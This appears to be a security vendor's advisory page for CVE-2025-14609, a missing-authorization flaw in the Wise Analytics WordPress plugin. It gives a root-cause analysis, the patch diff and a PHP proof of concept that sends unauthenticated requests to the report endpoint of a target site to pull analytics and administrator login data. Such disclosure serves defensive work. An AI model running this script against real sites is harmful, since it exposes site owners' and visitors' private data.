Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14609: Wise Analytics <= 1.1.9 – Missing Authorization to Unauthenticated Arbitrary Analytics Database Disclosure via 'name' Parameter (wise-analytics)

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 1.1.9
Patched Version 1.1.20
Disclosed January 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14609:
This vulnerability is a Missing Authorization flaw in the Wise Analytics WordPress plugin, affecting versions up to and including 1.1.9. The vulnerability allows unauthenticated attackers to access sensitive analytics data via a REST API endpoint. The CVSS score of 5.3 reflects a medium severity information disclosure risk.

Root Cause:
The vulnerability exists in the ReportsEndpoint.php file, specifically within the register_routes() method. The permission_callback function for the ‘/wise-analytics/v1/report’ REST API endpoint returns true without performing any capability checks. This occurs at line 43 in the patched version (line 40 in the vulnerable version). The function unconditionally grants access to all requests, bypassing WordPress’s standard authorization mechanisms.

Exploitation:
Attackers can send unauthenticated GET requests to the WordPress REST API endpoint ‘/wp-json/wise-analytics/v1/report’. The ‘name’ parameter controls which report data is retrieved. By manipulating this parameter, attackers can access various analytics datasets containing administrator usernames, login timestamps, visitor tracking information, and business intelligence data stored in the plugin’s database tables.

Patch Analysis:
The patch modifies the permission_callback function in ReportsEndpoint.php. The vulnerable version returns true, granting universal access. The patched version implements current_user_can(‘manage_options’), which restricts access to users with WordPress administrator privileges. This change ensures only authorized administrators can access the analytics reports, effectively closing the authorization gap.

Impact:
Successful exploitation allows unauthenticated attackers to retrieve sensitive analytics data. This includes administrator usernames and login timestamps, which could facilitate targeted attacks. Visitor tracking information exposes user behavior patterns. Business intelligence data may contain proprietary metrics about site performance and user engagement. The data disclosure violates privacy expectations and could enable further attacks against the WordPress installation.

Differential between vulnerable and patched code

Code Diff
--- a/wise-analytics/src/Admin/Settings.php
+++ b/wise-analytics/src/Admin/Settings.php
@@ -5,6 +5,10 @@
 use KainexWiseAnalyticsAdminTabsTabs;
 use KainexWiseAnalyticsOptions;

+if (!defined('ABSPATH')) {
+    exit;
+}
+
 class Settings {

 	const OPTIONS_GROUP = 'wise_analytics_options_group';
@@ -209,7 +213,7 @@
 	private function showUpdatedMessage() {
 		$message = get_transient('kainex_wiseanalytics_admin_settings_message');
 		if (is_string($message) && strlen($message) > 0) {
-			add_settings_error(md5($message), esc_attr('settings_updated'), strip_tags($message), 'updated');
+			add_settings_error(md5($message), esc_attr('settings_updated'), wp_strip_all_tags($message), 'updated');
 			delete_transient('kainex_wiseanalytics_admin_settings_message');
 		}
 	}
@@ -220,7 +224,7 @@
 	private function showErrorMessage() {
 		$message = get_transient('kainex_wiseanalytics_admin_settings_error_message');
 		if (is_string($message) && strlen($message) > 0) {
-			add_settings_error(md5($message), esc_attr('settings_updated'), strip_tags($message), 'error');
+			add_settings_error(md5($message), esc_attr('settings_updated'), wp_strip_all_tags($message), 'error');
 			delete_transient('kainex_wiseanalytics_admin_settings_error_message');
 		}
 	}
--- a/wise-analytics/src/Analytics.php
+++ b/wise-analytics/src/Analytics.php
@@ -40,7 +40,8 @@
 			wp_enqueue_style('wise-analytics-core', plugins_url('assets/css/admin/wise-analytics.min.css', dirname(__FILE__)), array(), WISE_ANALYTICS_VERSION);
 		}
 		wp_localize_script('wise-analytics-admin-core', 'waAdminConfig', [
-			'apiBase' => site_url().'/wp-json/wise-analytics/v1'
+			'apiBase' => site_url().'/wp-json/wise-analytics/v1',
+			'nonce' => wp_create_nonce('wp_rest')
 		]);
 	}

--- a/wise-analytics/src/Container.php
+++ b/wise-analytics/src/Container.php
@@ -66,7 +66,7 @@
 	 */
 	public function set($object, string $alias) {
 		if (isset($this->cache[$alias])) {
-			throw new Exception('Alias is already defined: '.$alias);
+			throw new Exception('Alias is already defined: '.esc_textarea($alias));
 		}

 		$this->cache[$alias] = $object;
--- a/wise-analytics/src/DAO/AbstractDAO.php
+++ b/wise-analytics/src/DAO/AbstractDAO.php
@@ -21,8 +21,7 @@
 	protected function getByField(string $fieldName, string $fieldValue): ?object {
 		global $wpdb;

-		$sql = $wpdb->prepare("SELECT * FROM %i WHERE %i = %s;", $this->getTable(), $fieldName, $fieldValue);
-		$results = $wpdb->get_results($sql);
+		$results = $wpdb->get_results($wpdb->prepare("SELECT * FROM %i WHERE %i = %s;", $this->getTable(), $fieldName, $fieldValue));
 		if (is_array($results) && count($results) > 0) {
 			return $results[0];
 		}
@@ -42,8 +41,8 @@
 			$conditions[] = $wpdb->prepare("%i = %s", $fieldName, $fieldValue);
 		}

-		$sql = $wpdb->prepare("SELECT * FROM %i WHERE ".implode(' AND ', $conditions), $this->getTable());
-		$results = $wpdb->get_results($sql);
+		$imploded = implode(' AND ', $conditions);
+		$results = $wpdb->get_results($wpdb->prepare("SELECT * FROM %i WHERE $imploded", $this->getTable()));
 		if (is_array($results)) {
 			return $results;
 		}
@@ -58,7 +57,9 @@
 	protected function deleteByConditions(array $conditions, array $arguments) {
 		global $wpdb;

+		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
 		$sql = $wpdb->prepare("DELETE FROM %i WHERE ".implode(' AND ', $conditions), array_merge([$this->getTable()], $arguments));
+		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
 		$wpdb->get_results($sql);
 	}

--- a/wise-analytics/src/DAO/EventResourcesDAO.php
+++ b/wise-analytics/src/DAO/EventResourcesDAO.php
@@ -66,7 +66,7 @@
 			'text_value' => $resource->getTextValue(),
 			'int_key' => $resource->getIntKey(),
 			'int_value' => $resource->getIntValue(),
-			'created' => $resource->getCreated() ? $resource->getCreated()->format('Y-m-d H:i:s') : date('Y-m-d H:i:s')
+			'created' => $resource->getCreated() ? $resource->getCreated()->format('Y-m-d H:i:s') : (new DateTime())->format('Y-m-d H:i:s')
 		);

 		if ($resource->getId() !== null) {
--- a/wise-analytics/src/DAO/UsersDAO.php
+++ b/wise-analytics/src/DAO/UsersDAO.php
@@ -86,8 +86,7 @@
 		$users = array();
 		$que = implode(',', array_fill(0, count($idsFiltered), '%d'));

-		$sql = $wpdb->prepare('SELECT * FROM %i WHERE id IN ('.$que.');', array_merge([$this->getTable()], $idsFiltered));
-		$results = $wpdb->get_results($sql);
+		$results = $wpdb->get_results($wpdb->prepare("SELECT * FROM %i WHERE id IN ($que);", array_merge([$this->getTable()], $idsFiltered)));
 		if (is_array($results)) {
 			foreach ($results as $result) {
 				$users[] = $this->populateData($result);
--- a/wise-analytics/src/Endpoints/FrontHandler.php
+++ b/wise-analytics/src/Endpoints/FrontHandler.php
@@ -109,13 +109,15 @@
 	private function endResponse($headerMessage = null) {
 		$imageSource = 'R0lGODlhAQABAID/AP///wAAACwAAAAAAQABAAACAkQBADs=';
 		$image = base64_decode($imageSource);
+
 		nocache_headers();
 		header("Content-type: image/gif");
 		header("Content-Length: ".strlen($image));
 		if ($headerMessage) {
 			header("X-WA-Api-Response: {$headerMessage}");
 		}
-		echo base64_decode(esc_attr($imageSource));
+		$source_escaped = base64_decode(esc_attr($imageSource));
+		file_put_contents('php://output', $source_escaped);
 		die();
 	}

--- a/wise-analytics/src/Endpoints/ReportsEndpoint.php
+++ b/wise-analytics/src/Endpoints/ReportsEndpoint.php
@@ -40,7 +40,7 @@
 			'methods' => 'GET',
 			'callback' => [$this, 'reportEndpoint'],
 			'permission_callback' => function() {
-				return true; // TODO: check the permissions
+				return current_user_can('manage_options');
 			}
 		));
 	}
--- a/wise-analytics/src/Installer.php
+++ b/wise-analytics/src/Installer.php
@@ -4,6 +4,10 @@

 use KainexWiseAnalyticsAdminSettings;

+if (!defined('ABSPATH')) {
+    exit;
+}
+
 /**
  * Installer
  *
--- a/wise-analytics/src/Integrations/Plugins/ContactForm7.php
+++ b/wise-analytics/src/Integrations/Plugins/ContactForm7.php
@@ -8,6 +8,10 @@
 use KainexWiseAnalyticsUtilsIPUtils;
 use KainexWiseAnalyticsUtilsURLUtils;

+if (!defined('ABSPATH')) {
+    exit;
+}
+
 class ContactForm7 {

 	/** @var Options */
--- a/wise-analytics/src/Integrations/Plugins/Plugins.php
+++ b/wise-analytics/src/Integrations/Plugins/Plugins.php
@@ -1,23 +1,23 @@
-<?php
-
-namespace KainexWiseAnalyticsIntegrationsPlugins;
-
-class Plugins {
-
-	/** @var ContactForm7 */
-	private $contactForm7;
-
-	/**
-	 * Plugins constructor.
-	 * @param ContactForm7 $contactForm7
-	 */
-	public function __construct(ContactForm7 $contactForm7)
-	{
-		$this->contactForm7 = $contactForm7;
-	}
-
-	public function install() {
-		$this->contactForm7->install();
-	}
-
+<?php
+
+namespace KainexWiseAnalyticsIntegrationsPlugins;
+
+class Plugins {
+
+	/** @var ContactForm7 */
+	private $contactForm7;
+
+	/**
+	 * Plugins constructor.
+	 * @param ContactForm7 $contactForm7
+	 */
+	public function __construct(ContactForm7 $contactForm7)
+	{
+		$this->contactForm7 = $contactForm7;
+	}
+
+	public function install() {
+		$this->contactForm7->install();
+	}
+
 }
 No newline at end of file
--- a/wise-analytics/src/Integrations/WordPressIntegrations.php
+++ b/wise-analytics/src/Integrations/WordPressIntegrations.php
@@ -7,6 +7,10 @@
 use KainexWiseAnalyticsUtilsIPUtils;
 use KainexWiseAnalyticsUtilsURLUtils;

+if (!defined('ABSPATH')) {
+    exit;
+}
+
 class WordPressIntegrations {

 	/** @var VisitorsService */
--- a/wise-analytics/src/Options.php
+++ b/wise-analytics/src/Options.php
@@ -2,6 +2,10 @@

 namespace KainexWiseAnalytics;

+if (!defined('ABSPATH')) {
+    exit;
+}
+
 /**
  * WiseAnalytics class for accessing plugin options.
  *
--- a/wise-analytics/src/Services/Commons/DataAccess.php
+++ b/wise-analytics/src/Services/Commons/DataAccess.php
@@ -35,9 +35,11 @@

 		$definition['table'] = $table;
 		$definition['type'] = 'select';
-		$results = $wpdb->get_results($this->getSQL($definition));
+		$sql = $this->getSQL($definition);
+		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+		$results = $wpdb->get_results($sql);
 		if ($wpdb->last_error) {
-			throw new Exception('Data layer error: '.$wpdb->last_error);
+			throw new Exception(esc_textarea('Data layer error: '.$wpdb->last_error));
 		}

 		if (is_array($results)) {
@@ -55,9 +57,11 @@
 	protected function execute(array $definition) {
 		global $wpdb;

-		$results = $wpdb->get_results($this->getSQL($definition));
+		$sql = $this->getSQL($definition);
+		// phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
+		$results = $wpdb->get_results($sql);
 		if ($wpdb->last_error) {
-			throw new Exception('Data layer error: '.$wpdb->last_error);
+			throw new Exception(esc_textarea('Data layer error: '.$wpdb->last_error));
 		}

 		return $results;
@@ -99,23 +103,22 @@

 		$aliasSQL = isset($definition['alias']) ? ' AS '.$definition['alias'] : '';
 		$selectSQL = isset($definition['select']) ? implode(', ', $definition['select']) : '*';
-		$whereSQL = $wpdb->prepare(implode(' AND ', $definition['where']), $whereArgs);
+		$imploded = implode(' AND ', $definition['where']);
+		$whereSQL = $wpdb->prepare("$imploded", $whereArgs);
 		$groupBySQL = isset($definition['group']) ? 'GROUP BY '.implode(', ', $definition['group']) : '';
 		$orderBySQL = isset($definition['order']) ? 'ORDER BY '.implode(', ', $definition['order']) : '';
 		$joins = [];
 		if (isset($definition['join'])) {
 			foreach ($definition['join'] as $join) {
-				$joins[] = $wpdb->prepare('LEFT JOIN %i '.$join[1].' ON ('.implode(' AND ', $join[2]).')', $join[0]);
+				$joinPrepared = 'LEFT JOIN %i '.$join[1].' ON ('.implode(' AND ', $join[2]).')';
+				$joins[] = $wpdb->prepare("$joinPrepared", $join[0]);
 			}
 		}
 		$joinsSQL = implode(" ", $joins);
 		$limitSQL = isset($definition['limit']) ? ' LIMIT '.$definition['limit'] : '';
 		$offsetSQL = isset($definition['offset']) ? ' OFFSET '.$definition['offset'] : '';
-
-		$sql = $wpdb->prepare(
-			'SELECT '.$selectSQL.' FROM %i '.$aliasSQL.' '.$joinsSQL.' WHERE '.$whereSQL.' '.$groupBySQL.' '.$orderBySQL.' '.$limitSQL.' '.$offsetSQL,
-			$table
-		);
+		$combined = 'SELECT '.$selectSQL.' FROM %i '.$aliasSQL.' '.$joinsSQL.' WHERE '.$whereSQL.' '.$groupBySQL.' '.$orderBySQL.' '.$limitSQL.' '.$offsetSQL;
+		$sql = $wpdb->prepare("$combined", $table);

 		if (isset($definition['outerQuery'])) {
 			$sql = sprintf($definition['outerQuery'], $sql);
@@ -142,9 +145,10 @@
 			$table = $wpdb->prefix.$table;
 		}

-		$whereSQL = $wpdb->prepare(implode(' AND ', $definition['where']), $whereArgs);
+		$imploded = implode(' AND ', $definition['where']);
+		$whereSQL = $wpdb->prepare("$imploded", $whereArgs);

-		return $wpdb->prepare("DELETE FROM %i WHERE ".$whereSQL, $table);
+		return $wpdb->prepare("DELETE FROM %i WHERE $whereSQL", $table);
 	}

 }
 No newline at end of file
--- a/wise-analytics/src/Services/Commons/ReportsDataHelper.php
+++ b/wise-analytics/src/Services/Commons/ReportsDataHelper.php
@@ -16,7 +16,7 @@
 				$groupExpression = 'DATE_FORMAT('.$column.', '%Y-%m-01')';
 				break;
 			default:
-				throw new Exception('Invalid period: ' . $period);
+				throw new Exception(esc_textarea('Invalid period: ' . $period));
 		}

 		return $groupExpression;
--- a/wise-analytics/src/Services/Processing/SessionsService.php
+++ b/wise-analytics/src/Services/Processing/SessionsService.php
@@ -186,7 +186,7 @@
 			return null;
 		}

-		$sourceDomain = parse_url($data['referer'], PHP_URL_HOST);
+		$sourceDomain = wp_parse_url($data['referer'], PHP_URL_HOST);
 		if ($sourceDomain && filter_var($sourceDomain, FILTER_VALIDATE_DOMAIN)) {
 			return preg_replace('/^www./', '', $sourceDomain);
 		}
--- a/wise-analytics/src/Services/Reporting/Pages/PagesReportsService.php
+++ b/wise-analytics/src/Services/Reporting/Pages/PagesReportsService.php
@@ -106,10 +106,10 @@
 		$eventType = $this->getEventType('page-view');

 		if (!in_array($sortColumn, ['pageViews', 'uniquePageViews', 'title', 'avgDuration', 'lastViewed', 'firstViewed'])) {
-			throw new Exception("Invalid sort column '$sortColumn'");
+			throw new Exception(esc_textarea("Invalid sort column '$sortColumn'"));
 		}
 		if (!in_array($sortDirection, ['asc', 'desc'])) {
-			throw new Exception("Invalid sort direction '$sortDirection'");
+			throw new Exception(esc_textarea("Invalid sort direction '$sortDirection'"));
 		}

 		$startDateStr = $startDate->format('Y-m-d H:i:s');
@@ -195,10 +195,10 @@
 		$conditionArgs = [$startDateStr, $endDateStr, $eventType->getId()];

 		if (!in_array($sortColumn, ['pageViews', 'uniquePageViews', 'uri', 'lastViewed', 'firstViewed'])) {
-			throw new Exception("Invalid sort column '$sortColumn'");
+			throw new Exception(esc_textarea("Invalid sort column '$sortColumn'"));
 		}
 		if (!in_array($sortDirection, ['asc', 'desc'])) {
-			throw new Exception("Invalid sort direction '$sortDirection'");
+			throw new Exception(esc_textarea("Invalid sort direction '$sortDirection'"));
 		}

 		$results = $this->queryEvents([
--- a/wise-analytics/src/Services/Reporting/Sessions/SessionsReportsService.php
+++ b/wise-analytics/src/Services/Reporting/Sessions/SessionsReportsService.php
@@ -146,20 +146,18 @@
 		$endDateStr = $endDate->format('Y-m-d H:i:s');

 		$table = Installer::getSessionsTable();
-		$sql = "SELECT userTotalVisits, count(userTotalVisits) as userTotalVisitsNumber, sum(userTotalVisitsDuration) as userTotalVisitsDuration
+		$results = $wpdb->get_results($wpdb->prepare("SELECT userTotalVisits, count(userTotalVisits) as userTotalVisitsNumber, sum(userTotalVisitsDuration) as userTotalVisitsDuration
     		FROM (
 				SELECT count(se.user_id) as userTotalVisits, sum(se.duration) as userTotalVisitsDuration
 				FROM $table se
-				WHERE se.start >= '$startDateStr' AND se.start <= '$endDateStr'
+				WHERE se.start >= %s AND se.start <= %s
 				GROUP BY se.user_id
 			) AS inn
 			GROUP BY inn.userTotalVisits
     		ORDER BY inn.userTotalVisits
-		";
-
-		$results = $wpdb->get_results($sql);
+		", $startDateStr, $endDateStr));
 		if ($wpdb->last_error) {
-			throw new Exception('Data layer error: '.$wpdb->last_error);
+			throw new Exception(esc_textarea('Data layer error: '.$wpdb->last_error));
 		}

 		$output = [];
--- a/wise-analytics/src/Services/Reporting/Visitors/VisitorsReportsService.php
+++ b/wise-analytics/src/Services/Reporting/Visitors/VisitorsReportsService.php
@@ -67,6 +67,9 @@
 				'max(start) as lastVisit',
 				'us.first_name as firstName',
 				'us.last_name as lastName',
+				'se.source',
+				'se.source_group as sourceGroup',
+				'se.source_category as sourceCategory',
 			],
 			'join' => [[Installer::getUsersTable(), 'us', ['se.user_id = us.id']]],
 			'where' => ["se.start >= %s", "se.start <= %s", "us.id IS NOT NULL"],
--- a/wise-analytics/src/Services/Users/MappingsService.php
+++ b/wise-analytics/src/Services/Users/MappingsService.php
@@ -1,75 +1,75 @@
-<?php
-
-namespace KainexWiseAnalyticsServicesUsers;
-
-use KainexWiseAnalyticsServicesCommonsDataAccess;
-
-class MappingsService {
-	use DataAccess;
-
-	const CF7_SHORTCODE_REGEX = '/([?)[(S*)(?:[rnt ](.*?))?(?:[rnt ](/))?](?:([^[]*?)[/2])?(]?)/';
-	const CF7_UNSUPPORTED_FIELD_TYPES = ['submit', 'captchac', 'captchar', 'honeypot', 'file'];
-
-	public function getObjectsAndFields() {
-		return [
-			[
-				'type' => 'plugins.cf7.form',
-				'typeName' => 'Plugins / ContactForm7',
-				'actions' => $this->getContactForm7Actions(),
-			]
-		];
-	}
-
-	private function getContactForm7Actions(): array {
-		$forms = $this->query('posts', [
-			'alias' => 'po',
-			'select' => [
-				'po.ID', 'po.post_title'
-			],
-			'where' => ["po.post_type = 'wpcf7_contact_form'"],
-			'order' => ['po.post_title ASC'],
-		]);
-
-		$ids = [];
-		foreach ($forms as $form) {
-			$ids[] = $form->ID;
-		}
-
-		$fields = $ids ? $this->query('postmeta', [
-			'alias' => 'pm',
-			'select' => [
-				'pm.post_id',
-				'pm.meta_value'
-			],
-			'where' => ["pm.meta_key = '_form'", "pm.post_id IN (".implode(',', array_fill(0, count($ids), '%d')).")"],
-			'whereArgs' => $ids
-		]) : [];
-
-		$fieldsList = [];
-		foreach ($fields as $fieldDefinition) {
-			preg_match_all(self::CF7_SHORTCODE_REGEX, $fieldDefinition->meta_value, $matches);
-			foreach ($matches[2] as $matchOffset => $matchedField) {
-				if (!in_array($matchedField, self::CF7_UNSUPPORTED_FIELD_TYPES)) {
-					$formField = explode(' ', $matches[3][$matchOffset]);
-					$fieldsList[$fieldDefinition->post_id][] = [
-						'name' => $formField[0],
-						'id' => $formField[0]
-					];
-				}
-			}
-		}
-
-		$out = [];
-		foreach ($forms as $form) {
-			$out[] = [
-				'id' => $form->ID,
-				'name' => 'form submission',
-				'item' => $form->post_title,
-				'fields' => isset($fieldsList[$form->ID]) ? $fieldsList[$form->ID] : []
-			];
-		}
-
-		return $out;
-	}
-
+<?php
+
+namespace KainexWiseAnalyticsServicesUsers;
+
+use KainexWiseAnalyticsServicesCommonsDataAccess;
+
+class MappingsService {
+	use DataAccess;
+
+	const CF7_SHORTCODE_REGEX = '/([?)[(S*)(?:[rnt ](.*?))?(?:[rnt ](/))?](?:([^[]*?)[/2])?(]?)/';
+	const CF7_UNSUPPORTED_FIELD_TYPES = ['submit', 'captchac', 'captchar', 'honeypot', 'file'];
+
+	public function getObjectsAndFields() {
+		return [
+			[
+				'type' => 'plugins.cf7.form',
+				'typeName' => 'Plugins / ContactForm7',
+				'actions' => $this->getContactForm7Actions(),
+			]
+		];
+	}
+
+	private function getContactForm7Actions(): array {
+		$forms = $this->query('posts', [
+			'alias' => 'po',
+			'select' => [
+				'po.ID', 'po.post_title'
+			],
+			'where' => ["po.post_type = 'wpcf7_contact_form'"],
+			'order' => ['po.post_title ASC'],
+		]);
+
+		$ids = [];
+		foreach ($forms as $form) {
+			$ids[] = $form->ID;
+		}
+
+		$fields = $ids ? $this->query('postmeta', [
+			'alias' => 'pm',
+			'select' => [
+				'pm.post_id',
+				'pm.meta_value'
+			],
+			'where' => ["pm.meta_key = '_form'", "pm.post_id IN (".implode(',', array_fill(0, count($ids), '%d')).")"],
+			'whereArgs' => $ids
+		]) : [];
+
+		$fieldsList = [];
+		foreach ($fields as $fieldDefinition) {
+			preg_match_all(self::CF7_SHORTCODE_REGEX, $fieldDefinition->meta_value, $matches);
+			foreach ($matches[2] as $matchOffset => $matchedField) {
+				if (!in_array($matchedField, self::CF7_UNSUPPORTED_FIELD_TYPES)) {
+					$formField = explode(' ', $matches[3][$matchOffset]);
+					$fieldsList[$fieldDefinition->post_id][] = [
+						'name' => $formField[0],
+						'id' => $formField[0]
+					];
+				}
+			}
+		}
+
+		$out = [];
+		foreach ($forms as $form) {
+			$out[] = [
+				'id' => $form->ID,
+				'name' => 'form submission',
+				'item' => $form->post_title,
+				'fields' => isset($fieldsList[$form->ID]) ? $fieldsList[$form->ID] : []
+			];
+		}
+
+		return $out;
+	}
+
 }
 No newline at end of file
--- a/wise-analytics/src/Tracking/Core.php
+++ b/wise-analytics/src/Tracking/Core.php
@@ -2,7 +2,9 @@

 namespace KainexWiseAnalyticsTracking;

-use KainexWiseAnalyticsOptions;
+if (!defined('ABSPATH')) {
+    exit;
+}

 /**
  * Core tracking code.
--- a/wise-analytics/src/Utils/Logger.php
+++ b/wise-analytics/src/Utils/Logger.php
@@ -11,53 +11,17 @@
 class Logger {

 	public function info(string $text) {
-		$text = sprintf('[%s] [wa] [info] %s', date('Y-m-d H:i:s'), $text);
+		$text = sprintf('[%s] [wa] [info] %s', (new DateTime())->format('Y-m-d H:i:s'), $text);
 		$this->publish($text);
 	}

 	public function error(string $text) {
-		$text = sprintf('[%s] [wa] [error] %s', date('Y-m-d H:i:s'), $text);
+		$text = sprintf('[%s] [wa] [error] %s', (new DateTime())->format('Y-m-d H:i:s'), $text);
 		$this->publish($text);
 	}

 	private function publish(string $text) {
-		if ($this->setupPrimary()) {
-			$this->publishPrimary($text);
-		} else {
-			$this->publishFallback($text);
-		}
-	}
-
-	private function setupPrimary(): bool {
-		if (defined('WP_CONTENT_DIR')) {
-			$path = $this->getLogDirectory();
-			if (is_writable($path)) {
-				return true;
-			}
-
-			if (!file_exists($path)) {
-				if (!@mkdir($path, 0755)) {
-					return false;
-				}
-				if (is_writable($path)) {
-					return true;
-				}
-			}
-		}
-
-		return false;
-	}
-
-	private function publishPrimary(string $text) {
-		error_log($text."n", 3, $this->getLogFile());
-	}
-
-	private function getLogFile(): string {
-		return $this->getLogDirectory().DIRECTORY_SEPARATOR.'wa.log';
-	}
-
-	private function getLogDirectory(): string {
-		return WP_CONTENT_DIR.DIRECTORY_SEPARATOR.'wa-logs';
+		$this->publishFallback($text);
 	}

 	private function publishFallback(string $text) {
--- a/wise-analytics/src/Utils/StringUtils.php
+++ b/wise-analytics/src/Utils/StringUtils.php
@@ -39,7 +39,7 @@
 	private static function createUuidSection($characters) {
 		$return = "";
 		for ($i = 0; $i < $characters; $i++) {
-			$return .= sprintf("%x", mt_rand(0, 15));
+			$return .= sprintf("%x", wp_rand(0, 15));
 		}

 		return $return;
--- a/wise-analytics/src/Utils/TimeUtils.php
+++ b/wise-analytics/src/Utils/TimeUtils.php
@@ -12,10 +12,10 @@
 	public static function formatTimestamp(string $timestamp, bool $shortToday = true): string {
 		static $now = null;
 		if ($shortToday && !$now) {
-			$now = date('M j, Y ');
+			$now = gmdate('M j, Y ');
 		}

-		$formatted = date('M j, Y H:i', strtotime($timestamp));
+		$formatted = gmdate('M j, Y H:i', strtotime($timestamp));

 		return $shortToday ? preg_replace('/^'.$now.'/', '', $formatted) : $formatted;
 	}
--- a/wise-analytics/wise-analytics-core.php
+++ b/wise-analytics/wise-analytics-core.php
@@ -1,7 +1,7 @@
 <?php
 /*
 	Plugin Name: Wise Analytics
-	Version: 1.1.9
+	Version: 1.1.20
 	Plugin URI: https://kainex.pl/projects/wp-plugins/wise-analytics
 	Description: Manage your own stats!
 	Author: Kainex
@@ -27,7 +27,7 @@
 	exit;
 } // Exit if accessed directly

-define('WISE_ANALYTICS_VERSION', '1.1.9');
+define('WISE_ANALYTICS_VERSION', '1.1.20');
 define('WISE_ANALYTICS_ROOT', dirname(__FILE__));
 define('WISE_ANALYTICS_NAME', 'Wise Analytics');

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14609 - Wise Analytics <= 1.1.9 - Missing Authorization to Unauthenticated Arbitrary Analytics Database Disclosure via 'name' Parameter

<?php

$target_url = 'https://example.com'; // Change this to the target WordPress site URL

// Define the vulnerable REST API endpoint
$endpoint = '/wp-json/wise-analytics/v1/report';

// Common report names that might expose sensitive data
$report_names = [
    'users',
    'sessions',
    'visitors',
    'pages',
    'events',
    'sources'
];

foreach ($report_names as $report_name) {
    $full_url = $target_url . $endpoint . '?name=' . urlencode($report_name);
    
    echo "nAttempting to fetch report: {$report_name}n";
    echo "URL: {$full_url}nn";
    
    // Initialize cURL session
    $ch = curl_init();
    
    // Set cURL options
    curl_setopt($ch, CURLOPT_URL, $full_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Disable for testing only
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    
    // Execute the request
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    // Check for errors
    if (curl_errno($ch)) {
        echo "cURL Error: " . curl_error($ch) . "n";
    } else {
        echo "HTTP Status: {$http_code}n";
        
        // If successful (200 OK), display the response
        if ($http_code == 200 && !empty($response)) {
            $data = json_decode($response, true);
            if (json_last_error() === JSON_ERROR_NONE) {
                echo "Success! Retrieved data for report: {$report_name}n";
                echo "Sample data (first 5 records):n";
                print_r(array_slice($data, 0, 5));
            } else {
                echo "Response (raw): " . substr($response, 0, 500) . "...n";
            }
        } else {
            echo "Request failed or returned empty responsen";
        }
    }
    
    // Close cURL session
    curl_close($ch);
    
    // Brief pause between requests
    sleep(1);
}

// Test with additional parameters that might expose different data
$advanced_url = $target_url . $endpoint . '?name=users&limit=10&offset=0';
echo "nnTesting with additional parameters:n";
echo "URL: {$advanced_url}n";

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $advanced_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false,
    CURLOPT_SSL_VERIFYHOST => false,
    CURLOPT_TIMEOUT => 10
]);

$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo "cURL Error: " . curl_error($ch) . "n";
} else {
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo "HTTP Status: {$http_code}n";
    if ($http_code == 200) {
        echo "Potential administrator usernames and login data may be exposed.n";
    }
}
curl_close($ch);

echo "nProof of Concept completed.n";

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School